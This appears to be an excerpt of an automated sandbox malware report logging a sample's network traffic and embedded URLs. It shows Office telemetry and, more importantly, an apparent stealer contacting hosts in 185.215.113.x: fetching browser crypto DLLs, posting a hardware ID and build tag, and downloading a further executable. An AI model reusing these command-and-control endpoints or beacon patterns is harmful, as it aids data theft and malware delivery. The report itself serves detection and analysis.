Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 46 46 43 41 31 33 35 32 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="hwid"00FFCA1352801128056648------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="build"stok------CAKKKJEHDBGIDHJKJDBF--

Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllQ
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllK
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllX
Source: file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBLIC=C:
Source: file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2685963034.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K
Source: file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfi
Source: file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206W
Source: file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn
Source: file.exe, 00000000.00000002.2684323133.0000000000954000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3366797627.00000000018FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/b
Source: skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2D
Source: skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE8
Source: skotes.exe, 00000011.00000002.3366797627.00000000018AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: skotes.exe, 00000011.00000002.3366797627.0000000001903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpzD
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_85.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2688816179.000000000590B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2705978128.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_85.5.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2685963034.0000000001192000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_85.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_85.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_85.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_85.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: EHJJKFCBGIDGHIECGCBK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_85.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CGHCGIIDGDAKFIEBKFCFIDAFBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
